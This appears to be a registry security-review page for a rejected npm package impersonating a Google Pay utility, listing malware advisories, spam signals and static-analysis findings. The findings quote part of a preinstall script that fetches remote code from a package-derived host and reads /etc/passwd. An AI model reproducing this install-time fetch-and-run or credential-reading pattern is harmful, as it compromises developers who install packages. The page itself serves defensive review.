All @google-pay-trust/init-google-pay versions

@google-pay-trust/init-google-pay @99.0.2

rejected
This version was rejected. It did not pass GreenFlagged's security review and is not served by the registry. The findings and risk dispositions below explain why.
100
Risk Score
ISC
License
Yes
Install Scripts
0
Dependencies
0
Dev Dependencies
.8 KB
Package Size
Published

init-google-pay utilities

Maintainers

m0ntana

Keywords

bug bounty

SAST Findings (6)

CRITICAL MAL-2026-3064: Malicious code in @google-pay-trust/init-google-pay (npm) osv

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (155365fdfef6534b365ca7ef2fd9ec698aa3a0af9e1130483658eba525f70e81) The package @google-pay-trust/init-google-pay was found to contain malicious code. ## Source: ghsa-malware (be7fcf441bdff83b65d0a8078a18d5399a4e51c0387c6bd239d51287da5170a2) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (580b1cc172168922435791da2a322425b05b27df9e9e50eda91bf626ee7d032b) The OpenSSF Package Analysis project identified '@google-pay-trust/init-google-pay' @ 99.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

HIGH Package has 'preinstall' script install-scripts

Script: node preinstall.js

HIGH Low-value / spam package indicators (5 signals, score 7) bogus-package

Matched 5 signal(s), weighted score 7: • [S_KNOWN_SPAM_PUBLISHER] Maintainer(s) previously flagged as spam: m0ntana. • [S_NO_REPO_NO_HOME] No repository, homepage, or bugs URL — genuine packages almost always link somewhere. • [S_NO_DEPS] No runtime, dev, peer, or optional dependencies declared. • [S_TINY_PAYLOAD] Tiny payload: 3 code file(s), 2054 bytes total. • [S_EMPTY_MAIN] Entry point (index.js) is 21 bytes — effectively empty.

HIGH etc-passwd-access: poc.preinstall.js:13 semgrep

Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";

HIGH etc-passwd-access: preinstall.js:13 semgrep

Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";

LOW No provenance attestation provenance

Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.

Review Summary

Risk score: 100 (capped from 163). Findings: 1 critical (+40), 4 high (+100), 2 medium (+20), 1 low (+3), 1 info (+0).

Published to npm: